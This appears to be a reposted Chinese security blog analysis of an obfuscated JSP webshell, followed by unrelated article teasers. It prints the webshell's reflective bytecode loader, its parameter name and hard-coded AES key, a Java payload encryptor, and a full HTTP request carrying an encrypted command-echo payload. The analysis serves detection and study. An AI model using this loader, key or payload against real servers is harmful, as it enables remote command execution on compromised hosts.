记一次对某变异webshell的分析

news2024/11/28 12:35:03

0x01 前言

在某活动中捕获到一个变异的webshell(jsp文件格式),如图1.1所示。样本webshell的大致功能是通过加载字节码来执行恶意代码,整个webshell的核心部分逻辑是在字节码中。

样本文件下载链接:

https://github.com/webraybtl/webshell1

图片

图1.1 变异webshell样本

直接通过冰蝎、哥斯拉、天蝎、蚁剑这些工具来连,均没有成功,初步推测是一个改过的webshell。

0x02 初步分析

Webshell中首先定义了两个方法b64Decode和unc,分别用于base64解码和gzip解码,代码比较简单,就不做分析。Webshell中处理逻辑部分代码如下所示。

<%    String u = "lgetwr";    if (context.get(u) != null) {        context.get(u).equals(new Object[]{request, response});    } else {        byte[] data = b64Decode("xxxx"); //替换为样本中的恶意字节码        byte[] cbs = unc(data);        java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0],Thread.currentThread().getContextClassLoader());        java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100,101,102,105,110,101,67,108,97,115,115}), new Class[]{byte[].class, int.class, int.class}); // new byte[]{100,101,102,105,110,101,67,108,97,115,115} 对应defineClass        method.setAccessible(true);        Class clazz = (Class) method.invoke(classLoader, new Object[]{cbs, new Integer(0), new Integer(cbs.length)});        context.put(u, clazz.newInstance());    }%>

context是静态map类型变量,起到全局数据传递的作用。在其中定义的变量u并不是webshell的密码,而仅是map中的一个key。

当第一次访问webshell的时候,通过反射的方式调用ClassLoader类的defineClass方法,把恶意的字节码经过解码之后作为defineClass方法的参数,并生成对应的类实例对象,保存到context字典中,key为“lgetwr”。

当后续再访问webshell的时候,进入另一个if分支,直接调用恶意对象对应的equals方法,并把request和response作为参数传入。

0x03 深入分析

把样本中的恶意字节码结果解码之后保存为class文件,解码的方式直接调用webshell中的b64Decode和unc方法,直接定位到恶意类对应的equals方法,如图3.1所示。

图片

图3.1 字节码文件中的equals方法

从反编译的代码中可以看出字节码对应的类经过了混淆和压缩,无法友好的阅读代码,更重要的是在equals中调用了this.a(long, short)方法,该方法无法被idea反编译,在idea中提示无法“couldn ' t be decompiled”,如图3.2所示。更换jd-gui来进行反编译依然无法反编译这个方法,推测可能是作者为了防止反编译做的强混淆或者使用了某些奇怪的java语法。

图片

图3.2 IDEA工具无法反编译字节码中的关键方法

后来在找到了一个非常棒的在线反编译网站http://www.javadecompilers.com/。可以支持多种不同的反编译工具来进行反编译,依次尝试所有的反编译器,当选择CFR反编译器时可以看到得到完整的源码,如图3.3、图3.4所示。

图片

图3.3 通过CFR来进行反编译

图片

图3.4 通过CFR反编译的关键方法a

虽然CFR也提示“unable to fully structure code”,但是其实关键的代码逻辑确是可以看到的,人为修改反编译代码中的语法错误,可以对代码进行调试。

为了对字节码中的类进行debug,需要在本地新建一个与字节码中的类完全一样的类“org.apache.coyote.module.ThrowableDeserializer”。但是在调试下断点的时候报如图3.5所示的错误,显示方法中无法下断点,原因是代码中删除了行号Line numbers info is not available in class。这是由于java的混淆和压缩工具在编译的时候删除了行号,导致无法对方法中的具体内容进行调试,只能调试方法调用。

图片

图3.5 字节码文件提示无法调试

具体到webshell的代码逻辑中,提供了两种传入参数的方式,一种是直接通过参数传递,传递的参数名是SjIHRC7oSVIE,如图3.6所示。

图片

图3.6 通过SjIHRC7oSVIE参数传递参数

另一种方式是通过json方式传递参数,如图3.7所示。

图片

图3.7 通过json方式传递恶意代码

在后续的过程中会对上一步传入的恶意代码进行AES解密,解密密钥为固定值“oszXCfTeXHpIkMS3”,如图3.8所示。

图片

图3.8 对传入的恶意代码进行解密

Webshell最终执行恶意代码的方式还是通过defineClass加载字节码的方式来进行的,最终能够触发任意命令代码执行的方式是在调用newInstance生成类对象的时候。此webshell的执行流程大体上可以分成下面的步骤:

1、第一次访问通过defineClass固定的恶意字节码生成对应的恶意类。org.apache.coyote.module.ThrowableDeserializer对象实例。并把实例保存到全局的map中,键名为lgetwr。

2、第二次访问直接调用键名为lgetwr的对象值,调用恶意类的equals方法,并传递request和response对象。

3、在恶意类的equals方法中调用混淆后的a(long, short)方法,该方法会从解析HTTP请求,获取SjIHRC7oSVIE键名传递的动态恶意值。

4、把HTTP请求传递的动态恶意值进行AES解密,gzip解码之后传递到defineClass方法进行动态加载,生成任意恶意类对象。通过恶意类对象的构造方法或者静态代码块触发命令执行。

0x04 实际测试

在本地tomcat环境中调试对应的webshell,构建一个恶意类ExploitRCE,如图4.1所示。

图片

图4.1 构建恶意的命令执行的类ExploitRCE

通过javac把对应的java代码转化为class文件,模拟webshell的处理流程对字节码文件进行加密和编码,代码如下所示。

import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import java.io.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;import java.util.zip.GZIPInputStream;import java.util.zip.GZIPOutputStream;
public class Test4 {
    private static final String KEY = "oszXCfTeXHpIkMS3";    private static final String ALGORITHM = "AES";
    public static void main(String[] args) throws Exception {        byte[] originalString = Files.readAllBytes(Paths.get("/Users/pang0lin/java/projects/SpringMVC6/target/classes/ExploitRCE.class"));        byte[] bytes = gzipEncode(originalString);
        String encryptedString = encrypt(bytes);        System.out.println("加密后的字符串: " + encryptedString);
    }
    public static String encrypt(byte[] strToEncrypt) throws Exception {        SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), ALGORITHM);        Cipher cipher = Cipher.getInstance(ALGORITHM);        cipher.init(Cipher.ENCRYPT_MODE, secretKey);        byte[] encryptedByteValue = cipher.doFinal(strToEncrypt);        return Base64.getEncoder().encodeToString(encryptedByteValue);    }
    public static byte[] decrypt(String strToDecrypt) throws Exception {        SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), ALGORITHM);        Cipher cipher = Cipher.getInstance(ALGORITHM);        cipher.init(Cipher.DECRYPT_MODE, secretKey);        byte[] decodedValue = Base64.getDecoder().decode(strToDecrypt);        byte[] decryptedByteValue = cipher.doFinal(decodedValue);        return decryptedByteValue;    }
    public static byte[] b(byte[] var0) throws IOException {        ByteArrayOutputStream var2 = new ByteArrayOutputStream();        int var10000 = 0;        ByteArrayInputStream var3 = new ByteArrayInputStream(var0);        int var1 = var10000;        GZIPInputStream var4 = new GZIPInputStream(var3);        byte[] var5 = new byte[256];
        ByteArrayOutputStream var8;        while(true) {            int var6;            if ((var6 = var4.read(var5)) >= 0) {                var8 = var2;                if (var1 != 0) {                    break;                }
                var2.write(var5, 0, var6);                if (var1 == 0) {                    continue;                }            }
            var8 = var2;            break;        }
        return var8.toByteArray();    }
    public static byte[] gzipEncode(byte[] input) throws IOException {        ByteArrayOutputStream baos = new ByteArrayOutputStream();        GZIPOutputStream gzipOs = new GZIPOutputStream(baos);
        gzipOs.write(input);
        gzipOs.close();        baos.close();
        return baos.toByteArray();    }}

运行之后可以生成用于可以用于webshell的加密字符,如图4.2所示。

图片

图4.2 模拟webshell加密和编码过程生成字符

通过burp发包,查看恶意代码执行过程,如图4.3所示。其中Content-Type在json方式传递时要求必须为application/json。运行之后弹出计算器,证明恶意代码执行成功。

图片

到此已经完整复现了webshell执行命令的逻辑,但是由于命令执行没有回显结果,肯定不是作者的使用方式。

在关键的方法a(long, short)中执行newInstance创建恶意类对象之后,并没有调用对象的任意方法,并不能方便的回显命令执行结果。但是还是可以通过https://github.com/WhiteHSBG/JNDIExploit/blob/master/src/main/java/com/feihong/ldap/template/TomcatEchoTemplate.java 方式来进行回显命令,原理不再分析,在之前的文章中已经进行过介绍。

用TomcatEchoTemplate类替换上传的ExploitRCE类,重新发送payload如下:

POST /i.jsp HTTP/1.1Host: 192.168.67.26:8088Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: zh-CN,zh;q=0.9cmd:ifconfigCookie: JSESSIONID=798FA6D9C93F95975342688741748A41; 9d127d56=79851bf2x-forwarded-for: 127.0.0.2Connection: closeContent-Type: application/jsonContent-Length: 3731
{"SjIHRC7oSVIE":"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"}

图片

在实际使用中要求Cookie中必须包含JSESSIONID,并且每次修改后面16位的值。

0x05 结论

这是一个变异的Webshell,在实网环境中具有较好的免杀效果,但是有样本之后还是很容易分析其代码特征和流量特征。本文章样本仅做学习研究使用,请勿使用本文章提供的样本进行非法攻击行为

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1177035.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java高并发系列-第1天:必须知道的几个概念

同步&#xff08;Synchronous&#xff09;和异步&#xff08;Asynchronous&#xff09; 同步和异步通常来形容一次方法调用&#xff0c;同步方法调用一旦开始&#xff0c;调用者必须等到方法调用返回后&#xff0c;才能继续后续的行为。异步方法调用更像一个消息传递&#xff…

下班后赚钱的8个副业,适合上班族

每个人都有不同的经济压力&#xff0c;尤其对于上班族来说&#xff0c;薪水或许不足以满足生活的各种需求和零花钱。因此&#xff0c;越来越多的人开始寻找机会在下班后赚取额外的收入。 如今有许多适合上班族的副业选择&#xff0c;帮助他们实现财务上的增长。不仅可以满足日常…

在Docker中设置Redis的密码

目录 1&#xff0c;介绍2&#xff0c;实现“Docker Redis设置密码”的整体流程3&#xff0c;具体实现步骤4&#xff0c;结论 1&#xff0c;介绍 Docker是一个开源的应用容器引擎&#xff0c;可以自动化部署、扩展应用程序。它可以帮助开发人员将应用程序及其依赖项打包到一个可…

中国社科院大学-新加坡新跃社科大学全球战略领导力博士学位教育项目招生简章

Singapore University of Social Sciences--University of Chinese Academy of Social Sciences Doctoral program on Global Strategic Leadership V13146152701 一、项目简介 全球经济正在经历由科技进步和创新、政治和人口剧烈变化所带来的巨大的不确定性和挑战。面对日…

Java中各个版本JDK分别有哪些常见的垃圾回收算法?它们的适用场景和开启方法是什么?

Java中各个版本JDK分别有哪些常见的垃圾回收算法&#xff1f;它们的使用场景和开启方法是什么&#xff1f; 1.1 JDK 1.8 中的垃圾回收算法1.2 JDK 11 中的垃圾回收算法1.3 JDK17中的垃圾回收算法 1.1 JDK 1.8 中的垃圾回收算法 Java 8引入了一些不同类型的垃圾回收算法&#x…

Vue中切换tab路由,提示this.$confirm确定和取消执行不同的逻辑

beforeRouteLeave (to, from, next) { // 离开页面 if (this.editFlag true) { this.$confirm(页面尚未保存&#xff0c;确认离开吗?, 提示, { distinguishCancelAndClose: true, // 区分取消和关闭 confirmButtonText: 确定, cancelButtonText: 取消, type: info }).then(()…

一文读懂RASP运行时防护平台及应用实践

「云原生安全既是一种全新安全理念&#xff0c;也是实现云战略的前提。 基于蚂蚁集团内部多年实践&#xff0c;云原生PaaS平台SOFAStack发布完整的软件供应链安全产品及解决方案&#xff0c;包括静态代码扫描Pinpoint&#xff0c;软件成分分析SCA&#xff0c;交互式安全测试IAS…

Git 安全警告修复手册:解决 `fatal: detected dubious ownership in repository at ` 问题 ️

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

打开运行ps提示找不到msvcp140.dll的解决方法分享

最近&#xff0c;我在安装Adobe Photoshop&#xff08;简称PS&#xff09;和Adobe Premiere Pro&#xff08;简称PR&#xff09;时遇到了一个困扰我很久的问题&#xff0c;即提示找不到msvcp140.dll文件。msvcp140.dll是Microsoft Visual C 2015 Redistributable的一个组件&…

MyBatis缓存详解

1. MyBatis缓存 MyBatis中的缓存是用来提高性能&#xff0c;减少数据库交互次数的机制。它分为一级缓存&#xff08;Local Cache&#xff09;和二级缓存&#xff08;Global Cache&#xff09;。 1.1 一级缓存&#xff08;Local Cache&#xff09; 作用范围&#xff1a;一级缓…

SpringBoot整合Kafka (一)

&#x1f4d1;前言 本文主要讲了SpringBoot整合Kafka文章&#xff0c;如果有什么需要改进的地方还请大佬指出⛺️ &#x1f3ac;作者简介&#xff1a;大家好&#xff0c;我是青衿&#x1f947; ☁️博客首页&#xff1a;CSDN主页放风讲故事 &#x1f304;每日一句&#xff1a;…

数据库备份和恢复

备份&#xff1a; 完全备份 增量备份 完全备份&#xff1a;将整个数据库完整的进行备份。 增量备份&#xff1a;在完全备份的基础之上&#xff0c;对后续新增的内容进行备份。 备份的需求&#xff1a; 备份的需求&#xff1a; 1、在生产环境中&#xff0c;数据的安全至关重…

计算领域高质量科技期刊分级目录

最后需要文件的小伙伴可以私信我哦&#xff0c;也可以自行在官网下载

汽车网络安全渗透测试概述

目录 1.汽车网络安全法规概述 1.1 国外标准 1.2 国内标准 2.汽车网络安全威胁分析 2.1 汽车网络安全资产定义 2.2 汽车网络安全影响场景及评级示例 3.汽车网络安全渗透测试描述 3.1 参考法规 3.2 渗透测试内容 4.小结 1.汽车网络安全法规概述 近年来&#xff0c;汽车…

UE5——源码阅读——100——渲染——高清截图

创建事件&#xff0c;用于代码的调试 获取当前客户端所属的World 标记是否在进行重入绘制 是否开始缓存区可视化转存帧&#xff0c;主要针对请求屏幕截图或电影转存 判断是否需要高清截图 这下面这个函数执行高清截图 是否需要缓存区的可视化转存 判断是否开始渲染 如果…

总结Kibana DevTools如何操作elasticsearch的常用语句

一、操作es的工具 ElasticSearch HeadKibana DevToolsElasticHQ 本文主要是总结Kibana DevTools操作es的语句。 二、搜索文档 1、根据ID查询单个记录 GET /course_idx/_doc/course:202、term 匹配"name"字段的值为"6789999"的文档 类似于sql语句中的等…

自查看看自己转本复习中存在哪些问题

缺乏清晰、强力的奋斗目标 “我想考本科”只不过是一种笼统的泛化的模糊的专转本目标&#xff0c;对潜意识学习潜能的刺激力度不大。 专转本备考中&#xff0c;更需要一个恒久、量化、清晰、明确、具体的目标牵引自我潜意识去努力&#xff0c;克服学习中的重重困难。比如一所…

软件测试丨从外包到自研再到大厂——我是怎么从6k到25k的

功能测试&#xff1a;理论上说&#xff0c;该定位的测试人员应该是对业务需求理解最透彻的群体&#xff0c;专注于用户角度的测试&#xff0c;组织整体质量实践&#xff0c;分析测试运行结果&#xff0c;驱动测试执行。当然除了业务技能过硬&#xff0c;常用的测试工具也是必须…

VMware安装CentOS最小化开发环境导引

目录 一、概要 二、介绍 三、下载 四、安装 4.1 创建虚拟机 4.2 安装CentOS 五、配置网卡 六、配置本地安装源 七、安装软件 7.1 gcc/g 7.2 C的atomic库 7.3 java 7.4 Cmake 7.5 MariaDB客户端&#xff08;兼容mysql&#xff09; 八、用户配置文件.bash_profile…

Python小试牛刀:GUI(图形界面)实现计算器UI界面(三)

上一篇&#xff1a;Python小试牛刀&#xff1a;GUI&#xff08;图形界面&#xff09;实现计算器UI界面(二)-CSDN博客 回顾前两篇文章&#xff0c;第一篇文章主要实现了计算器UI界面如何布局&#xff0c;以及简单概述Python常用的GUI库。第二篇文章主要实现了计算器UI界面按钮组…